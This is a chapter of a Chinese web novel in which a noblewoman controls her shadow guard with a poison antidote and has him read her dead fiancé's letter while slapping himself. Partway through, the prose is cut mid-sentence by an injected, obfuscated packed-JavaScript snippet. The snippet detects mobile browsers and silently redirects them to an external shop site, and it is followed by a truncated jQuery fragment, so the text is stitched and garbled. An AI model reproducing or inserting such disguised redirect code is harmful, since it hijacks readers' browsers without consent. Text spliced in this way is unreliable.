玄霜被掐得闷哼了声,又立刻将声音止住,“属下不敢。” 殷芙借着烛光打量着他的脸,这七白膏果真灵验,不过三日,已经好了大半。 殷芙心下满意,大方地从药瓶里倒了一粒解药出来,却没留神,让药丸掉在了地上,还不及她伸手去捡,不知从哪儿蹿出来一团黑影,眨眼功夫便将那粒药丸叼走了。 ……是那日吵她睡觉的那只猫。 小猫身手敏捷,来去如风,一瞬便没了踪影。 殷芙看着空荡荡的手心,又好气又好笑。 玄霜跪在她面前,眼睁睁看着解药被小猫抢走,想起殷芙曾说过这解药金贵,并不敢张口求她再赏一粒,只是垂下眼,默默将银针扎入熟悉穴位。 没有解药……也不知他今夜能不能熬得住。 下一瞬,一根细白温软的手指却撬开了他的唇齿,将一粒药丸塞入他口中。 玄霜眸色微怔,本能地吞咽下去,今日的解药并不苦,带着一缕淡淡的甜香。 是大小姐手上的脂粉香气。 他一时忘了呼吸,怔怔抬眼,殷芙慢条斯理地拿过帕子擦了擦手,吩咐道:“你今夜留下守着本小姐,别让那只猫再闯进来。” 她最近的睡眠已经很糟糕了,她可不想睡到半夜,再有一只猫跳到胸口上。 玄霜长睫轻动,很快垂下眼,规矩地应道:“是,大小姐。” 殷芙收起药瓶,轻描淡写地说:“对了,今日给了你一整颗解药,下次发作的时候,可就没有了。” 轻飘飘的一句话,却实在残忍,那跪在地上的暗卫却只是毫无怨言地点头将她的话应下了,“属下记着了。” 他答应得痛快,倒让殷芙失了几分趣味,她哼了声道:“到时自己来本小姐房中,免得你用什么手段偷懒。” “是。”玄霜应着,又低声补充了句,“属下不敢的。” 大小姐所赐何等珍贵,他自然该好生受着,哪怕是痛苦,也一分都不可浪费。 许是练剑练得身上乏累,殷芙沐浴过,一沾枕头便睡着了。 玄霜蜷坐在地上,手臂环在胸前,闭着眼,聆听着周围的声响。 榻上的少女似乎做了梦,不大舒服地翻了个身,口中含糊不清地唤着,阿钰,阿钰。 玄霜犹豫了下,小心跪起身,他不敢应她梦中的话,只低着声道,大小姐,属下在。 不知是不是听见了他的回应,少女终于渐渐安静下来,呼吸声均匀起伏,似是睡熟了。 月落日升,天边泛起鱼肚白。 玄霜又是一夜未眠。 估摸着殷芙快醒了,他静静看了一会儿少女素净的睡颜,俯身朝床榻磕了个头,在心中道,“属下告退。” * 许是有人陪着的缘故,这一夜,殷芙睡得比以前安稳了许多。 只是到底还是做了些七零八落的梦,裴钰,裴钰,梦里桩桩件件,皆和裴钰有关。 殷芙有些头疼地想,她是思念裴钰不错,但还没到为了他茶饭不思的地步啊,为何总是梦见他呢。 没了裴钰,日子也总要过下去,若日日被长梦惊扰,她的身子如何能熬得住。 殷芙坐在榻上想了半晌,想起白沙村那个算卦的瞎眼先生曾经和她说过,死人的遗物能附着魂魄,从白沙村离开时,她带走了不少裴钰的东西,如今就放在她的房中。 或许是那些东西附着了太多裴钰生前的气息,所以她自从回到京城,便总是频频梦见他,不得安眠。 殷芙想了想,把惜月和素玉叫了进来,吩咐她们去里间收拾下裴钰的东西,能烧的都拿去烧了。 素玉看着那几口辛辛苦苦从白沙村带回来的箱子,一脸不可置信:“小姐,这、这些可都是裴公子留下的书册,诗集,还有信……就这么一把火烧了,您不心疼吗?” 心疼啊,怎么能不心疼呢,殷芙想。 可比起这些死物,总归是自己的身子更要紧。 殷芙蹲下来,在箱子里挑挑拣拣了半晌,最终只留下了几封裴钰写给她的信文。 那时她时常夸赞裴钰文采,也总央着裴钰作诗给她,偶尔诗词作腻了,她也会哄着裴钰,让他仿前朝古人夫妻意趣,写些类似家书的信文给她。 惜月在一旁看着,知道她心里舍不得,便小声劝道:“小姐,依奴婢看,也不一定是这些东西的缘故。奴婢这几日打听着,听说京郊有一处暮云寺,很是灵验,附近人家有遭了邪祟的,或是像小姐这般,死人夜夜入梦的,去拜一拜,捐些香火钱,便都安生了。” 殷芙理着信笺,没有作声。 惜月叹了口气:“奴婢知道小姐不信这些,就当是去散散心,可好?自从回京,小姐就没出过几次门,整日待在家里,憋也憋出毛病了。” 她这么一说,殷芙终于有了些松动,心不在焉道:“也好。你替我去和母亲说一声吧。” 惜月连忙答应了,又小心翼翼地看向地上的东西,“那这些……” 殷芙折起手中的信,站起身,朝里间走去。 “烧了。” 这日午后,天上乌压压地落下雨来,断断续续浇了两日,才终于见了晴。 烧书的事拖至此日,终于能进行,芙花院后院,白烟冲天。 殷芙坐在长案后,抄着一卷往生经。 她其实并不信神佛之说,但既然要去寺里,自然还是要拿出几分诚心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541556|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 去暮云寺一事,起初殷至邺并不同意,回京那日遇刺一事尚未查出什么线索,如今殷芙又要出门,他这个做爹爹的如何能安心。 最后还是李蕙劝他,女儿在乡下自由惯了,如今整日拘着,吃不好睡不着的,还不如出去走走,多派些侍卫跟着便是。 殷至邺这才松了口。 抄了一会儿经,不知不觉,已是傍晚了。 殷芙想起去暮云寺的事还没告诉玄霜,既是负责贴身保护她的暗卫,自然是要跟她同去的,于是便让惜月把玄霜叫来。 天色渐暗,房中四下点起灯烛,光影昏黄。 殷芙将这几日抄好的经文折起来,打算带到佛前烧掉。 “大小姐。” 男人来去依旧无半点声息,殷芙整理桌案的功夫,人已跪在了身旁。 她抬眸,见玄霜穿着那日她夸赞过的那身青衫,身姿挺拔,眉目俊朗,脸上的疹子已经好全了,没留下半点痕迹,完好如初。 殷芙有些惊讶:“不是说要半个月才能好吗?怎么好得这样快?” 玄霜道:“回大小姐话,属下问过纪大夫,说是药效因体质而异,许是属下身体强健,所以便好得快些。” 殷芙指尖点了点桌案,让他上前些,“过来,让本小姐看看。” 暗卫听话地靠了过来,她伸手捏起玄霜下颌,上下左右,仔仔细细打量一番,的确是好全了。 殷芙很是满意,表扬道:“不错。” 玄霜微微垂眸,被她捏过的地方,有些热。 “对了,叫你过来是有件事要告诉你。三日后本小姐要去暮云寺进香,你与本小姐同去。” “是,大小姐。” 指腹摩挲过玄霜的脸颊,殷芙又盯着眼前这张脸瞧了一会儿。 他应是才沐浴过,肌肤沁着微潮的湿意,衬得眉目比平时柔和许多,朦胧烛火下,恍惚真有几分裴钰从前的样子。 殷芙眸色微动,松开手,从案角的几封信里抽出一封,递给玄霜。 “念一遍,给本小姐听听。” 玄霜顺从地接过来,小心将信笺展开,待看清信上文字,不由怔了下,薄唇轻动,却迟迟没能发出声音。 这是…… 那位裴公子,写给大小姐的信。 “念啊。”殷芙一手撑腮,闭上了眼。 “……是。” 她的命令,玄霜自然不敢违背,便低着声,一字一句地念了起来。 只是他虽然识字,却不懂诗文韵律,读起来难免有些结巴。再加之裴钰又擅引经据典,在信中为表明对殷芙的心意,引用了不少前朝名士夫妇的逸事雅闻,那些名姓之中多有生僻字,玄霜不认识,又不敢乱读,只能停下来,看向殷芙。 殷芙蹙眉,有些扫兴,“往后念。” “是。” 玄霜小心地继续念下去,可念至最后一行,他声音蓦地止住,无论如何也不敢张口了。 男人字迹清隽,句句缠绵,诉尽婉转情思。 “吾心悦阿芙,情谊殷殷,望卿怜察,勿忘相思。” 阿芙。 那是、那是大小姐的名字。 他不是裴公子,怎配这般亲昵地称呼大小姐。 “怎么不念了?” 殷芙仍旧闭着眼,那封信她已经读过很多次,信中内容几乎能倒背如流,她很清楚玄霜读到了何处。 玄霜捧着信,声线低哑,“大小姐,属下不敢。” “本小姐想听。”殷芙语气平淡,却是不容拒绝的命令。 玄霜默了默,只得将那句话读下去。 “吾心悦阿芙……” 念完阿芙二字,玄霜顿了一息,自觉地朝脸上扇了一巴掌,作为冒犯大小姐的惩罚,脸颊浮起鲜红指印。 殷芙清晰地听见了耳光的声音,却没有阻拦,她眉心轻挑,“继续,多念几遍。” “是。” 暗卫跪在地上,一遍遍笨拙而小心地念着那句话,每念一遍“阿芙”,便重重甩自己一个耳光,他心中惶恐,自然不敢收着力气,直将自己扇得身体发晃,也不敢松懈。 殷芙终于睁开眼睛,玄霜动了动唇,迫切地想要告罪,膝盖下意识地往前挪了些许,“大小姐,属下……” 烛火映照下,男人脸颊肿得高高的,凄惨又可怜。 殷芙忽然觉得那封信好没意思,她勾勾手指让男人靠过来,伸手抚摸着他滚烫的脸颊,明明心情很好,嘴上却故意奚落,“念封信都念不好,真是个没用的废物。” 玄霜冷清黑沉的眸中浮现出怔愣的神色,大约是头一次被人骂作废物,殷芙感觉到,他的脸热得更厉害了。 她坏心地勾了勾唇,指腹揉碾过暗卫微张的唇瓣,戏谑道:“自己说,是不是废物啊,嗯?”